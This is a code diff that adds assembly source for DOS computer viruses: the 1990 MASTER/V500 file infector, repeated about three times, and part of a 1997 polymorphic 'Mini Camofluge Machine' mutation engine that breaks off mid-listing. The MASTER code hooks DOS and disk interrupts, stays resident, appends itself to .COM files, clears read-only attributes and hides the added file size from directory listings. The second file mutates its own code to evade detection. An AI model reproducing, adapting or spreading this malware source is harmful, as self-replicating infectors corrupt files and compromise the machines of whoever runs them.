mov [1022],es
|
||||
|
||||
mov beg-1,byte ptr not3_3-beg
|
||||
jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30
|
||||
mov beg-1,byte ptr 0
|
||||
mov [7b4h],offset pr7b4
|
||||
mov [7b6h],cs ; 7b4
|
||||
|
||||
not3.3: mov al,0a9h ; Change attrib
|
||||
cont: repne scasb
|
||||
cmp es:[di],0ffd8h
|
||||
jne cont
|
||||
mov al,18h
|
||||
stosb
|
||||
|
||||
push ss
|
||||
pop ds
|
||||
|
||||
push ss
|
||||
pop es
|
||||
|
||||
residnt: xchg ax,dx
|
||||
retf ; ret far
|
||||
|
||||
;--------Interrupt process--------;
|
||||
|
||||
i21pr: push ax
|
||||
push dx
|
||||
push ds
|
||||
push cx
|
||||
push bx
|
||||
push es
|
||||
|
||||
if4b04: cmp ax,4b04h
|
||||
je rti
|
||||
|
||||
xchg ax,cx
|
||||
mov ah,02fh
|
||||
int 0ffh
|
||||
|
||||
if11_12: cmp ch,11h
|
||||
je yes
|
||||
cmp ch,12h
|
||||
jne inffn
|
||||
yes: xchg ax,cx
|
||||
int 0ffh
|
||||
push ax
|
||||
test es:byte ptr [bx+19],0c0h
|
||||
jz normal
|
||||
sub es:[bx+36],len
|
||||
normal: pop ax
|
||||
rti: pop es
|
||||
pop bx
|
||||
pop cx
|
||||
add sp,12
|
||||
iret
|
||||
|
||||
inffn: mov ah,19h
|
||||
int 0ffh
|
||||
push ax
|
||||
|
||||
if36: cmp ch,36h ; -free bytes
|
||||
je beg_36
|
||||
if4e: cmp ch,4eh ; -find first FM
|
||||
je beg_4b
|
||||
if4b: cmp ch,4bh ; -exec
|
||||
je beg_4b
|
||||
if47: cmp ch,47h ; -directory info
|
||||
jne if5b
|
||||
cmp al,2
|
||||
jae begin ; it's hard-disk
|
||||
if5b: cmp ch,5bh ; -create new
|
||||
je beg_4b
|
||||
if3c_3d: shr ch,1 ; > -open & create
|
||||
cmp ch,1eh ; -
|
||||
je beg_4b
|
||||
|
||||
jmp rest
|
||||
|
||||
beg_4b: mov ax,121ah
|
||||
xchg dx,si
|
||||
int 2fh
|
||||
xchg ax,dx
|
||||
xchg ax,si
|
||||
|
||||
beg_36: mov ah,0eh ; change current drive
|
||||
dec dx ;
|
||||
int 0ffh ;
|
||||
|
||||
begin:
|
||||
push es ; save DTA address
|
||||
push bx ;
|
||||
sub sp,44
|
||||
mov dx,sp ; change DTA
|
||||
push sp
|
||||
mov ah,1ah
|
||||
push ss
|
||||
pop ds
|
||||
int 0ffh
|
||||
mov bx,dx
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,04eh
|
||||
mov dx,offset file
|
||||
mov cx,3 ; r/o , hidden
|
||||
int 0ffh ; int 21h
|
||||
jc lst
|
||||
|
||||
next: test ss:[bx+21],byte ptr 80h
|
||||
jz true
|
||||
nxt: mov ah,4fh ; find next
|
||||
int 0ffh
|
||||
jnc next
|
||||
lst: jmp last
|
||||
|
||||
true: cmp ss:[bx+27],byte ptr 0fdh
|
||||
ja nxt
|
||||
mov [144],offset i24pr
|
||||
mov [146],cs
|
||||
|
||||
les ax,[4ch] ; int 13h
|
||||
mov i13adr,ax
|
||||
mov i13adr+2,es
|
||||
jmp short $
|
||||
beg: mov [4ch],offset i13pr
|
||||
mov [4eh],cs
|
||||
|
||||
|
||||
not3_3: push ss
|
||||
pop ds
|
||||
push [bx+22] ; time +
|
||||
push [bx+24] ; date +
|
||||
push [bx+21] ; attrib +
|
||||
lea dx,[bx+30] ; ds : dx = offset file name
|
||||
mov ax,4301h ; Change attrib !!!
|
||||
pop cx
|
||||
and cx,0feh ; clear r/o and CH
|
||||
or cl,0c0h ; set Infect. attr
|
||||
int 0ffh
|
||||
|
||||
mov ax,03d02h ; open
|
||||
int 0ffh ; int 21h
|
||||
xchg ax,bx
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,03fh
|
||||
mov cx,3
|
||||
mov dx,offset first
|
||||
int 0ffh
|
||||
|
||||
mov ax,04202h ; move fp to EOF
|
||||
xor dx,dx
|
||||
mov cx,dx
|
||||
int 0ffh
|
||||
mov word ptr cal_ofs+1,ax
|
||||
|
||||
mov ah,040h
|
||||
mov cx,len
|
||||
mov dx,ofs
|
||||
int 0ffh
|
||||
jc not_inf
|
||||
|
||||
mov ax,04200h
|
||||
xor dx,dx
|
||||
mov cx,dx
|
||||
int 0ffh
|
||||
|
||||
mov ah,040h
|
||||
mov cx,3
|
||||
mov dx,offset cal_ofs
|
||||
int 0ffh
|
||||
|
||||
not_inf: mov ax,05701h
|
||||
pop dx ; date
|
||||
pop cx ; time
|
||||
int 0ffh
|
||||
|
||||
mov ah,03eh ; close
|
||||
int 0ffh
|
||||
|
||||
les ax,dword ptr i13adr
|
||||
mov [4ch],ax ; int 13h
|
||||
mov [4eh],es
|
||||
|
||||
last: add sp,46
|
||||
pop dx
|
||||
pop ds ; restore DTA
|
||||
mov ah,1ah
|
||||
int 0ffh
|
||||
|
||||
rest: pop dx ; restore current drive
|
||||
mov ah,0eh ;
|
||||
int 0ffh ;
|
||||
|
||||
pop es
|
||||
pop bx
|
||||
pop cx
|
||||
pop ds
|
||||
pop dx
|
||||
pop ax
|
||||
|
||||
i21cl: iret ; Return from INT FC
|
||||
|
||||
i24pr: mov al,3 ; Critical errors
|
||||
iret
|
||||
|
||||
i13pr: cmp ah,3
|
||||
jne no
|
||||
inc byte ptr cs:activ
|
||||
dec ah
|
||||
no: jmp dword ptr cs:i13adr
|
||||
|
||||
pr7b4: db 2eh,0d0h,2eh
|
||||
dw offset activ
|
||||
; shr cs:activ,1
|
||||
jnc ex7b0
|
||||
inc ah
|
||||
ex7b0: jmp dword ptr cs:[7b0h]
|
||||
|
||||
;--------
|
||||
|
||||
file: db "*",32,".COM"
|
||||
|
||||
|
||||
activ: db 0
|
||||
|
||||
dw offset i21pr ; int 0fch
|
||||
dw 0
|
||||
|
||||
cal_ofs: db 0e8h
|
||||
|
||||
end:
|
||||
dw ? ; cal_ofs
|
||||
|
||||
i13adr: dw ?
|
||||
dw ?
|
||||
|
||||
|
||||
; The End.---
|
||||
@@ -0,0 +1,308 @@
|
||||
; (C) Copyright VirusSoft Corp. Sep., 1990
|
||||
;
|
||||
; This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
|
||||
; virus, distributed by VirusSoft company . First version was made
|
||||
; in May., 1990 . Please don't make any corections in this file !
|
||||
;
|
||||
; Bulgaria, Varna
|
||||
; Sep. 27, 1990
|
||||
|
||||
|
||||
|
||||
ofs = 201h
|
||||
len = offset end-ofs
|
||||
|
||||
call $+6
|
||||
|
||||
org ofs
|
||||
|
||||
first: dw 020cdh
|
||||
db 0
|
||||
|
||||
xchg ax,dx
|
||||
pop di
|
||||
dec di
|
||||
dec di
|
||||
mov si,[di]
|
||||
dec di
|
||||
add si,di
|
||||
push cs
|
||||
push di
|
||||
cld
|
||||
movsw
|
||||
movsb
|
||||
|
||||
mov ax,4b04h
|
||||
int 21h
|
||||
jnc residnt
|
||||
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov di,ofs+3
|
||||
mov cx,len-3
|
||||
rep movsb
|
||||
|
||||
les di,[6]
|
||||
mov al,0eah
|
||||
dec cx
|
||||
repne scasb
|
||||
les di,es:[di] ; Searching for the INT21 vector
|
||||
sub di,-1ah-7
|
||||
|
||||
db 0eah
|
||||
dw offset jump,0 ; jmp far 0000:jump
|
||||
|
||||
jump: push es
|
||||
pop ds
|
||||
mov si,[di+3-7] ;
|
||||
lodsb ;
|
||||
cmp al,68h ; compare DOS Ver
|
||||
mov [di+4-7],al ; Change CMP AH,CS:[????]
|
||||
mov [di+2-7],0fc80h ;
|
||||
mov [di-7],0fccdh ;
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov [1020],di ; int 0ffh
|
||||
mov [1022],es
|
||||
|
||||
mov beg-1,byte ptr not3_3-beg
|
||||
jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30
|
||||
mov beg-1,byte ptr 0
|
||||
mov [7b4h],offset pr7b4
|
||||
mov [7b6h],cs ; 7b4
|
||||
|
||||
not3.3: mov al,0a9h ; Change attrib
|
||||
cont: repne scasb
|
||||
cmp es:[di],0ffd8h
|
||||
jne cont
|
||||
mov al,18h
|
||||
stosb
|
||||
|
||||
push ss
|
||||
pop ds
|
||||
|
||||
push ss
|
||||
pop es
|
||||
|
||||
residnt: xchg ax,dx
|
||||
retf ; ret far
|
||||
|
||||
;--------Interrupt process--------;
|
||||
|
||||
i21pr: push ax
|
||||
push dx
|
||||
push ds
|
||||
push cx
|
||||
push bx
|
||||
push es
|
||||
|
||||
if4b04: cmp ax,4b04h
|
||||
je rti
|
||||
|
||||
xchg ax,cx
|
||||
mov ah,02fh
|
||||
int 0ffh
|
||||
|
||||
if11_12: cmp ch,11h
|
||||
je yes
|
||||
cmp ch,12h
|
||||
jne inffn
|
||||
yes: xchg ax,cx
|
||||
int 0ffh
|
||||
push ax
|
||||
test es:byte ptr [bx+19],0c0h
|
||||
jz normal
|
||||
sub es:[bx+36],len
|
||||
normal: pop ax
|
||||
rti: pop es
|
||||
pop bx
|
||||
pop cx
|
||||
add sp,12
|
||||
iret
|
||||
|
||||
inffn: mov ah,19h
|
||||
int 0ffh
|
||||
push ax
|
||||
|
||||
if36: cmp ch,36h ; -free bytes
|
||||
je beg_36
|
||||
if4e: cmp ch,4eh ; -find first FM
|
||||
je beg_4b
|
||||
if4b: cmp ch,4bh ; -exec
|
||||
je beg_4b
|
||||
if47: cmp ch,47h ; -directory info
|
||||
jne if5b
|
||||
cmp al,2
|
||||
jae begin ; it's hard-disk
|
||||
if5b: cmp ch,5bh ; -create new
|
||||
je beg_4b
|
||||
if3c_3d: shr ch,1 ; > -open & create
|
||||
cmp ch,1eh ; -
|
||||
je beg_4b
|
||||
|
||||
jmp rest
|
||||
|
||||
beg_4b: mov ax,121ah
|
||||
xchg dx,si
|
||||
int 2fh
|
||||
xchg ax,dx
|
||||
xchg ax,si
|
||||
|
||||
beg_36: mov ah,0eh ; change current drive
|
||||
dec dx ;
|
||||
int 0ffh ;
|
||||
|
||||
begin:
|
||||
push es ; save DTA address
|
||||
push bx ;
|
||||
sub sp,44
|
||||
mov dx,sp ; change DTA
|
||||
push sp
|
||||
mov ah,1ah
|
||||
push ss
|
||||
pop ds
|
||||
int 0ffh
|
||||
mov bx,dx
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,04eh
|
||||
mov dx,offset file
|
||||
mov cx,3 ; r/o , hidden
|
||||
int 0ffh ; int 21h
|
||||
jc lst
|
||||
|
||||
next: test ss:[bx+21],byte ptr 80h
|
||||
jz true
|
||||
nxt: mov ah,4fh ; find next
|
||||
int 0ffh
|
||||
jnc next
|
||||
lst: jmp last
|
||||
|
||||
true: cmp ss:[bx+27],byte ptr 0fdh
|
||||
ja nxt
|
||||
mov [144],offset i24pr
|
||||
mov [146],cs
|
||||
|
||||
les ax,[4ch] ; int 13h
|
||||
mov i13adr,ax
|
||||
mov i13adr+2,es
|
||||
jmp short $
|
||||
beg: mov [4ch],offset i13pr
|
||||
mov [4eh],cs
|
||||
;
|
||||
not3_3: push ss
|
||||
pop ds
|
||||
push [bx+22] ; time +
|
||||
push [bx+24] ; date +
|
||||
push [bx+21] ; attrib +
|
||||
lea dx,[bx+30] ; ds : dx = offset file name
|
||||
mov ax,4301h ; Change attrib !!!
|
||||
pop cx
|
||||
and cx,0feh ; clear r/o and CH
|
||||
or cl,0c0h ; set Infect. attr
|
||||
int 0ffh
|
||||
|
||||
mov ax,03d02h ; open
|
||||
int 0ffh ; int 21h
|
||||
xchg ax,bx
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,03fh
|
||||
mov cx,3
|
||||
mov dx,offset first
|
||||
int 0ffh
|
||||
|
||||
mov ax,04202h ; move fp to EOF
|
||||
xor dx,dx
|
||||
mov cx,dx
|
||||
int 0ffh
|
||||
mov word ptr cal_ofs+1,ax
|
||||
|
||||
mov ah,040h
|
||||
mov cx,len
|
||||
mov dx,ofs
|
||||
int 0ffh
|
||||
jc not_inf
|
||||
|
||||
mov ax,04200h
|
||||
xor dx,dx
|
||||
mov cx,dx
|
||||
int 0ffh
|
||||
|
||||
mov ah,040h
|
||||
mov cx,3
|
||||
mov dx,offset cal_ofs
|
||||
int 0ffh
|
||||
|
||||
not_inf: mov ax,05701h
|
||||
pop dx ; date
|
||||
pop cx ; time
|
||||
int 0ffh
|
||||
|
||||
mov ah,03eh ; close
|
||||
int 0ffh
|
||||
|
||||
les ax,dword ptr i13adr
|
||||
mov [4ch],ax ; int 13h
|
||||
mov [4eh],es
|
||||
|
||||
last: add sp,46
|
||||
pop dx
|
||||
pop ds ; restore DTA
|
||||
mov ah,1ah
|
||||
int 0ffh
|
||||
|
||||
rest: pop dx ; restore current drive
|
||||
mov ah,0eh ;
|
||||
int 0ffh ;
|
||||
|
||||
pop es
|
||||
pop bx
|
||||
pop cx
|
||||
pop ds
|
||||
pop dx
|
||||
pop ax
|
||||
|
||||
i21cl: iret ; Return from INT FC
|
||||
|
||||
i24pr: mov al,3 ; Critical errors
|
||||
iret
|
||||
|
||||
i13pr: cmp ah,3
|
||||
jne no
|
||||
inc byte ptr cs:activ
|
||||
dec ah
|
||||
no: jmp dword ptr cs:i13adr
|
||||
|
||||
pr7b4: db 2eh,0d0h,2eh
|
||||
dw offset activ
|
||||
; shr cs:activ,1
|
||||
jnc ex7b0
|
||||
inc ah
|
||||
ex7b0: jmp dword ptr cs:[7b0h]
|
||||
|
||||
;--------
|
||||
|
||||
file: db "*",32,".COM"
|
||||
|
||||
activ: db 0
|
||||
|
||||
dw offset i21pr ; int 0fch
|
||||
dw 0
|
||||
|
||||
cal_ofs: db 0e8h
|
||||
|
||||
end:
|
||||
dw ? ; cal_ofs
|
||||
|
||||
i13adr: dw ?
|
||||
dw ?
|
||||
|
||||
|
||||
; The End.
|
||||
@@ -0,0 +1,308 @@
|
||||
; (C) Copyright VirusSoft Corp. Sep., 1990
|
||||
;
|
||||
; This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
|
||||
; virus, distributed by VirusSoft company . First version was made
|
||||
; in May., 1990 . Please don't make any corections in this file !
|
||||
;
|
||||
; Bulgaria, Varna
|
||||
; Sep. 27, 1990
|
||||
|
||||
|
||||
|
||||
ofs = 201h
|
||||
len = offset end-ofs
|
||||
|
||||
call $+6
|
||||
|
||||
org ofs
|
||||
|
||||
first: dw 020cdh
|
||||
db 0
|
||||
|
||||
pop di
|
||||
dec di
|
||||
dec di
|
||||
mov si,[di]
|
||||
dec di
|
||||
add si,di
|
||||
push cs
|
||||
push di
|
||||
cld
|
||||
movsw
|
||||
movsb
|
||||
xchg ax,dx
|
||||
|
||||
mov ax,4b04h
|
||||
int 21h
|
||||
jnc residnt
|
||||
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov di,ofs+3
|
||||
mov cx,len-3
|
||||
rep movsb
|
||||
|
||||
les di,[6]
|
||||
mov al,0eah
|
||||
dec cx
|
||||
repne scasb
|
||||
les di,es:[di] ; Searching for the INT21 vector
|
||||
sub di,-1ah-7
|
||||
|
||||
db 0eah
|
||||
dw offset jump,0 ; jmp far 0000:jump
|
||||
|
||||
jump: push es
|
||||
pop ds
|
||||
mov si,[di+3-7] ;
|
||||
lodsb ;
|
||||
cmp al,68h ; compare DOS Ver
|
||||
mov [di+4-7],al ; Change CMP AH,CS:[????]
|
||||
mov [di+2-7],0fc80h ;
|
||||
mov [di-7],0fccdh ;
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov [1020],di ; int 0ffh
|
||||
mov [1022],es
|
||||
|
||||
mov beg-1,byte ptr not3_3-beg
|
||||
jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30
|
||||
mov beg-1,byte ptr 0
|
||||
mov [7b4h],offset pr7b4
|
||||
mov [7b6h],cs ; 7b4
|
||||
|
||||
not3.3: mov al,0a9h ; Change attrib
|
||||
cont: repne scasb
|
||||
cmp es:[di],0ffd8h
|
||||
jne cont
|
||||
mov al,18h
|
||||
stosb
|
||||
|
||||
push ss
|
||||
pop ds
|
||||
|
||||
push ss
|
||||
pop es
|
||||
|
||||
residnt: xchg ax,dx
|
||||
retf ; ret far
|
||||
|
||||
;--------Interrupt process--------;
|
||||
|
||||
i21pr: push ax
|
||||
push dx
|
||||
push ds
|
||||
push cx
|
||||
push bx
|
||||
push es
|
||||
|
||||
if4b04: cmp ax,4b04h
|
||||
je rti
|
||||
|
||||
xchg ax,cx
|
||||
mov ah,02fh
|
||||
int 0ffh
|
||||
|
||||
if11_12: cmp ch,11h
|
||||
je yes
|
||||
cmp ch,12h
|
||||
jne inffn
|
||||
yes: xchg ax,cx
|
||||
int 0ffh
|
||||
push ax
|
||||
test es:byte ptr [bx+19],0c0h
|
||||
jz normal
|
||||
sub es:[bx+36],len
|
||||
normal: pop ax
|
||||
rti: pop es
|
||||
pop bx
|
||||
pop cx
|
||||
add sp,12
|
||||
iret
|
||||
|
||||
inffn: mov ah,19h
|
||||
int 0ffh
|
||||
push ax
|
||||
|
||||
if36: cmp ch,36h ; -free bytes
|
||||
je beg_36
|
||||
if4e: cmp ch,4eh ; -find first FM
|
||||
je beg_4b
|
||||
if4b: cmp ch,4bh ; -exec
|
||||
je beg_4b
|
||||
if47: cmp ch,47h ; -directory info
|
||||
jne if5b
|
||||
cmp al,2
|
||||
jae begin ; it's hard-disk
|
||||
if5b: cmp ch,5bh ; -create new
|
||||
je beg_4b
|
||||
if3c_3d: shr ch,1 ; > -open & create
|
||||
cmp ch,1eh ; -
|
||||
je beg_4b
|
||||
|
||||
jmp rest
|
||||
|
||||
beg_4b: mov ax,121ah
|
||||
xchg dx,si
|
||||
int 2fh
|
||||
xchg ax,dx
|
||||
xchg ax,si
|
||||
|
||||
beg_36: mov ah,0eh ; change current drive
|
||||
dec dx ;
|
||||
int 0ffh ;
|
||||
|
||||
begin:
|
||||
push es ; save DTA address
|
||||
push bx ;
|
||||
sub sp,44
|
||||
mov dx,sp ; change DTA
|
||||
push sp
|
||||
mov ah,1ah
|
||||
push ss
|
||||
pop ds
|
||||
int 0ffh
|
||||
mov bx,dx
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,04eh
|
||||
mov dx,offset file
|
||||
mov cx,3 ; r/o , hidden
|
||||
int 0ffh ; int 21h
|
||||
jc lst
|
||||
|
||||
next: test ss:[bx+21],byte ptr 80h
|
||||
jz true
|
||||
nxt: mov ah,4fh ; find next
|
||||
int 0ffh
|
||||
jnc next
|
||||
lst: jmp last
|
||||
|
||||
true: cmp ss:[bx+27],byte ptr 0fdh
|
||||
ja nxt
|
||||
mov [144],offset i24pr
|
||||
mov [146],cs
|
||||
|
||||
les ax,[4ch] ; int 13h
|
||||
mov i13adr,ax
|
||||
mov i13adr+2,es
|
||||
jmp short $
|
||||
beg: mov [4ch],offset i13pr
|
||||
mov [4eh],cs
|
||||
;
|
||||
not3_3: push ss
|
||||
pop ds
|
||||
push [bx+22] ; time +
|
||||
push [bx+24] ; date +
|
||||
push [bx+21] ; attrib +
|
||||
lea dx,[bx+30] ; ds : dx = offset file name
|
||||
mov ax,4301h ; Change attrib !!!
|
||||
pop cx
|
||||
and cx,0feh ; clear r/o and CH
|
||||
or cl,0c0h ; set Infect. attr
|
||||
int 0ffh
|
||||
|
||||
mov ax,03d02h ; open
|
||||
int 0ffh ; int 21h
|
||||
xchg ax,bx
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,03fh
|
||||
mov cx,3
|
||||
mov dx,offset first
|
||||
int 0ffh
|
||||
|
||||
mov ax,04202h ; move fp to EOF
|
||||
xor dx,dx
|
||||
mov cx,dx
|
||||
int 0ffh
|
||||
mov word ptr cal_ofs+1,ax
|
||||
|
||||
mov ah,040h
|
||||
mov cx,len
|
||||
mov dx,ofs
|
||||
int 0ffh
|
||||
jc not_inf
|
||||
|
||||
mov ax,04200h
|
||||
xor dx,dx
|
||||
mov cx,dx
|
||||
int 0ffh
|
||||
|
||||
mov ah,040h
|
||||
mov cx,3
|
||||
mov dx,offset cal_ofs
|
||||
int 0ffh
|
||||
|
||||
not_inf: mov ax,05701h
|
||||
pop dx ; date
|
||||
pop cx ; time
|
||||
int 0ffh
|
||||
|
||||
mov ah,03eh ; close
|
||||
int 0ffh
|
||||
|
||||
les ax,dword ptr i13adr
|
||||
mov [4ch],ax ; int 13h
|
||||
mov [4eh],es
|
||||
|
||||
last: add sp,46
|
||||
pop dx
|
||||
pop ds ; restore DTA
|
||||
mov ah,1ah
|
||||
int 0ffh
|
||||
|
||||
rest: pop dx ; restore current drive
|
||||
mov ah,0eh ;
|
||||
int 0ffh ;
|
||||
|
||||
pop es
|
||||
pop bx
|
||||
pop cx
|
||||
pop ds
|
||||
pop dx
|
||||
pop ax
|
||||
|
||||
i21cl: iret ; Return from INT FC
|
||||
|
||||
i24pr: mov al,3 ; Critical errors
|
||||
iret
|
||||
|
||||
i13pr: cmp ah,3
|
||||
jne no
|
||||
inc byte ptr cs:activ
|
||||
dec ah
|
||||
no: jmp dword ptr cs:i13adr
|
||||
|
||||
pr7b4: db 2eh,0d0h,2eh
|
||||
dw offset activ
|
||||
; shr cs:activ,1
|
||||
jnc ex7b0
|
||||
inc ah
|
||||
ex7b0: jmp dword ptr cs:[7b0h]
|
||||
|
||||
;--------
|
||||
|
||||
file: db "*",32,".COM"
|
||||
|
||||
activ: db 0
|
||||
|
||||
dw offset i21pr ; int 0fch
|
||||
dw 0
|
||||
|
||||
cal_ofs: db 0e8h
|
||||
|
||||
end:
|
||||
dw ? ; cal_ofs
|
||||
|
||||
i13adr: dw ?
|
||||
dw ?
|
||||
|
||||
|
||||
; The End.
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,383 @@
|
||||
.model tiny
|
||||
codeseg
|
||||
.8086
|
||||
org 100h
|
||||
; Mini Camofluge Machine v 0.62
|
||||
; (c) 1997 by Pashkovsky Maxim [PARAFFiN]
|
||||
;-----------------------------C-O-D-E----------------------------------------
|
||||
LengthVirus equ (EndVir-Start)*2
|
||||
;***********************I*N*T*S**********************************************
|
||||
start:
|
||||
i00: call CryptData
|
||||
i01: call InitRandom
|
||||
i02: call Infect
|
||||
i03: mov ax,4C00h
|
||||
i04: int 21h
|
||||
;============================================================================
|
||||
InitRandom proc near
|
||||
i05: push es
|
||||
i06: mov ax,0040h
|
||||
i07: mov es,ax
|
||||
i08: mov ax,es:[006ch]
|
||||
i09: mov word ptr cs:[rseed],ax
|
||||
i10: pop es
|
||||
i11: ret
|
||||
InitRandom endp
|
||||
;============================================================================
|
||||
Random proc near ; 16 bit Random number
|
||||
i12: push cx
|
||||
i13: push bx
|
||||
i14: mov bx,word ptr cs:[rvalue]
|
||||
i15: mov ax,word ptr cs:[rseed]
|
||||
i16: rol ax,1
|
||||
i17: sub ax,7
|
||||
i18: xor ax,bx
|
||||
i19: mov word ptr cs:[rvalue],ax
|
||||
i20: mov word ptr cs:[rseed],bx
|
||||
i21: mul dx ;(input value) * (delta)
|
||||
i22: mov cx,-1
|
||||
i23: cmp dx,cx ;verify divide will work
|
||||
i24: jae @abort ;jmp if divide will not work
|
||||
i25: div cx ;(input value) * (delta) / ffffh
|
||||
i26: @abort: pop bx
|
||||
i27: pop cx
|
||||
i28: ret
|
||||
Random endp
|
||||
;============================================================================
|
||||
VerifyAlloc proc near ; Verify place.
|
||||
i29: push ax
|
||||
i30: push cx
|
||||
i31: mov ax,word ptr cs:[AddrPTR]
|
||||
i32: mov bx,offset AddrTab
|
||||
i33: sub ax,bx
|
||||
i34: push dx ;<=¿
|
||||
i35: mov cx,2AABh ; | divide ax by 6 = ax/6
|
||||
i36: mul cx ; :
|
||||
i37: mov cx,dx ; |
|
||||
i38: pop dx ;<=Ù
|
||||
i39: @vloop: mov ax,word ptr cs:[bx]
|
||||
i40: cmp dx,ax
|
||||
i41: jb @vnext
|
||||
i42: add ax,word ptr cs:[bx+2]
|
||||
i43: cmp dx,ax
|
||||
i44: jb @verror
|
||||
i45: @vnext: add bx,6
|
||||
i46: loop @vloop
|
||||
i47: clc
|
||||
i48: jmp @vquit
|
||||
i49: @verror: stc
|
||||
i50: @vquit: pop cx
|
||||
i51: pop ax
|
||||
i52: ret
|
||||
VerifyAlloc endp
|
||||
;============================================================================
|
||||
Jump proc near ; Make near jump (E9h opcode) to free random place.
|
||||
i53: push ax
|
||||
i54: mov bx,word ptr cs:[AddrPTR]
|
||||
i55: mov word ptr cs:[bx],di
|
||||
i56: mov word ptr cs:[bx+2],3
|
||||
i57: mov word ptr cs:[bx+4],0
|
||||
i58: add word ptr cs:[AddrPTR],6
|
||||
i59: mov al,0E9h
|
||||
i60: stosb
|
||||
i61: @jnew: mov dx,0FFFDh
|
||||
i62: call Random
|
||||
i63: mov dx,di
|
||||
i64: add dx,2
|
||||
i65: add dx,ax
|
||||
i66: cmp dx,offset code + LengthVirus - 10
|
||||
i67: jae @jnew
|
||||
i68: cmp dx,offset code
|
||||
i69: jbe @jnew
|
||||
i70: xor cx,cx
|
||||
i71: mov bx,word ptr cs:[LenghtPTR]
|
||||
i72: mov cl,byte ptr cs:[bx]
|
||||
i73: add cx,3
|
||||
i74: @jverify: call VerifyAlloc ; Verify place.
|
||||
i75: jc @jnew
|
||||
i76: inc dx
|
||||
i77: loop @jverify
|
||||
i78: @jend: stosw
|
||||
i79: add di,ax
|
||||
i80: pop ax
|
||||
i81: ret
|
||||
Jump endp
|
||||
;============================================================================
|
||||
JumpNear proc near ;Proc for adjust near jump.
|
||||
i82: push ax
|
||||
i83: mov bx,word ptr cs:[AddrPTR]
|
||||
i84: mov word ptr cs:[bx],di ; Build table for near jumps.
|
||||
i85: mov word ptr cs:[bx+2],2
|
||||
i86: mov word ptr cs:[bx+4],si
|
||||
i87: add word ptr cs:[AddrPTR],6
|
||||
i88: movsb
|
||||
i89: @jnnew: xor ax,ax
|
||||
i90: mov dx,0FDh
|
||||
i91: call Random
|
||||
i92: cmp al,20
|
||||
i93: jb @jnnew
|
||||
i94: cbw
|
||||
i95: mov dx,di
|
||||
i96: inc dx
|
||||
i97: add dx,ax
|
||||
i98: cmp dx,offset code + LengthVirus - 10
|
||||
i99: jae @jnnew
|
||||
i100: cmp dx,offset code
|
||||
i101: jbe @jnnew
|
||||
i102: mov cx,3
|
||||
i103: @jnverify: call VerifyAlloc ; Verify place.
|
||||
i104: jc @jnnew
|
||||
i105: inc dx
|
||||
i106: loop @jnverify
|
||||
i107: stosb
|
||||
i108: push di
|
||||
i109: add di,ax
|
||||
i110: mov bx,word ptr cs:[AddrPTR]
|
||||
i111: mov word ptr cs:[bx],di
|
||||
i112: mov word ptr cs:[bx+2],3
|
||||
i113: mov word ptr cs:[bx+4],0
|
||||
i114: add word ptr cs:[AddrPTR],6
|
||||
i115: mov al,0E9h
|
||||
i116: stosb
|
||||
i117: lodsb
|
||||
i118: cbw
|
||||
i119: push si
|
||||
i120: add si,ax
|
||||
i121: lodsb
|
||||
i122: cmp al,0E9h
|
||||
i123: jne @jnnext
|
||||
i124: lodsw
|
||||
i125: add si,ax
|
||||
i126: inc si
|
||||
i127: @jnnext: dec si
|
||||
i128: mov bx,word ptr cs:[JumpPTR] ;Near jump table.
|
||||
i129: mov word ptr cs:[bx],si
|
||||
i130: mov word ptr cs:[bx+2],di
|
||||
i131: add word ptr cs:[JumpPTR],4
|
||||
i132: pop si
|
||||
i133: pop di
|
||||
i134: pop ax
|
||||
i135: ret
|
||||
JumpNear endp
|
||||
;============================================================================
|
||||
CallNear proc near ;Build addr table for near call.
|
||||
i136: mov bx,word ptr cs:[JumpPTR]
|
||||
i137: mov cx,si
|
||||
i138: add cx,3 ;inc cx
|
||||
i139: add cx,word ptr cs:[si+1]
|
||||
i140: mov word ptr cs:[bx],cx
|
||||
i141: mov word ptr cs:[bx+2],di
|
||||
i142: inc word ptr cs:[bx+2]
|
||||
i143: add word ptr cs:[JumpPTR],4
|
||||
i144: ret
|
||||
CallNear endp
|
||||
;============================================================================
|
||||
MoveInst proc near ;Move instruction on new place.
|
||||
i145: cmp si,word ptr cs:[CryptMov] ; Verify CryptValue
|
||||
i146: jne @NoValue
|
||||
i147: mov word ptr cs:[OldCryptMov],si
|
||||
i148: mov word ptr cs:[CryptMov],di
|
||||
i149: jmp @NoCrypt
|
||||
i150: @NoValue: cmp si,word ptr cs:[CryptChg] ; Verify ChangeCrypt
|
||||
i151: jne @NoCrypt
|
||||
i152: mov word ptr cs:[OldCryptChg],si
|
||||
i153: mov word ptr cs:[CryptChg],di
|
||||
i154: @NoCrypt: mov bx,word ptr cs:[LenghtPTR] ;====================
|
||||
i155: xor cx,cx
|
||||
i156: mov cl,byte ptr cs:[bx]
|
||||
i157: mov bx,word ptr cs:[AddrPTR]
|
||||
i158: mov word ptr cs:[bx],di ;Build table for instr.
|
||||
i159: mov word ptr cs:[bx+2],cx
|
||||
i160: mov word ptr cs:[bx+4],si
|
||||
i161: add word ptr cs:[AddrPTR],6
|
||||
i162: rep movsb
|
||||
i163: ret
|
||||
MoveInst endp
|
||||
;============================================================================
|
||||
Mutation proc near ;Main loop of mutation.
|
||||
i164: mov si,offset start ; SI have OLD! code offset.
|
||||
i165: mov di,offset code ; DI have NEW! code offset.
|
||||
i166: mov ax,offset EndData-offset LenghtTab-1
|
||||
i167: cld
|
||||
i168: @m1: cmp byte ptr cs:[si],70h ;<=¿
|
||||
i169: jb @m2 ; | jumps.
|
||||
i170: cmp byte ptr cs:[si],7Fh ;<=Ù
|
||||
i171: jbe @realloc
|
||||
